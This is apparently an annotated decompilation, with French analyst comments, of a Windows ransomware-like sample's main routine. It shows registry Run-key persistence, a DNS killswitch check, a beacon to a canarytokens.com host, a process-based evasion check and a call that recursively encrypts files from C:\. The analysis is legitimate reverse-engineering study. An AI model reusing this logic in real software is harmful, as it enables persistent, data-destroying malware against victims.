void Mise_En_Place(undefined8 param_1,undefined8 param_2,undefined8 param_3,undefined8 param_4) { LSTATUS registry_call_status; int call_status; size_t executable_path_size; HANDLE snapshot; uint i; undefined **ppuVar1; undefined auStackY664 [32]; HKEY created_key_registry [2]; undefined4 process_info [11]; wchar_t local_22c [266]; ulonglong local_18; local_18 = DAT_140006008 ^ (ulonglong)auStackY664; Print_func(L"This program has been made for educational purpose only.\n DO NOT USE IT OR ALTER IT ." ,param_2,param_3,param_4); Print_func(&DAT_140004500,param_2,param_3,param_4); /* Création d'une clé, donnant accès à un registre windows, afin de permettre au programme de s'exécuter à chaque démarrage de session. */ registry_call_status = RegCreateKeyW((HKEY)0xffffffff80000002,L"SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Run", created_key_registry); /* Vérifie que la clé d'accès a été créée */ if (registry_call_status == 0) { executable_path_size = wcsnlen(L"C:\\tmp\\dm3bis.exe",0x104); /* Ajout d'une ligne dans le registre contenant le chemin de son programme */ registry_call_status = RegSetValueExW(created_key_registry[0],L"SuperProgram",0,2,(BYTE *)L"C:\\tmp\\dm3bis.exe", (int)executable_path_size * 2); /* Si le registre a bien été modifié, le registre est fermé */ if (registry_call_status == 0) { RegCloseKey(created_key_registry[0]); } } /* Requête DNS envoyée à zoglu.de. Hypothèse: Il s'agit probablement du killswitch, qui arrêterait l'exécution du programme si le serveur dns répondait. Il continuerait son exécution sinon. */ call_status = DnsQuery_W(L"zoglu.de",1,8,0); /* Si le DNS ne répond pas, la fonction retourne 1, on continue alors l'exécution du programme */ if (call_status != 1) { /* Signal envoyé à l'attaquant pour le prévenir que la machine vient d'être infectée */ DnsQuery_W(L"2y6268x13ic4o8b0y4rinj4kz.canarytokens.com",1,8,0); /* Prend une snapshot de tous les process de la machine, via le première argument set à 2 */ snapshot = (HANDLE)CreateToolhelp32Snapshot(2,0); if (snapshot != (HANDLE)0xffffffffffffffff) { /* Initialise la taille de la structure qui contiendra les infos relative à un process donné */ process_info[0] = 0x238; /* Récupère le premier process de la snapshot */ call_status = Process32FirstW(snapshot,process_info); /* Rentre si les informations du process n'ont pas pu être récupéré (FALSE = 0) */ if (call_status == 0) { EXIT_LABEL: /* Label de sortie du else, et ferme la snapshot */ CloseHandle(snapshot); } else { do { ppuVar1 = &PTR_u_Calculator.exe_140004428; i = 0; do { /* Comparaison deux chaines sur le 0x104 caractères */ call_status = wcsncmp(local_22c,(wchar_t *)*ppuVar1,0x104); /* Rentre dans le if si le cmp (ligne au-dessus) compare 2 chaines identiques */ if (call_status == 0) goto EXIT_LABEL; i = i + 1; ppuVar1 = (undefined **)((wchar_t **)ppuVar1 + 1); } while (i < 4); /* Récupère le process suivant */ call_status = Process32NextW(snapshot,process_info); } while (call_status != 0); CloseHandle(snapshot); Recursive_file_cipherer(L"C:\\"); } } } FUN_140001b10(local_18 ^ (ulonglong)auStackY664); return; }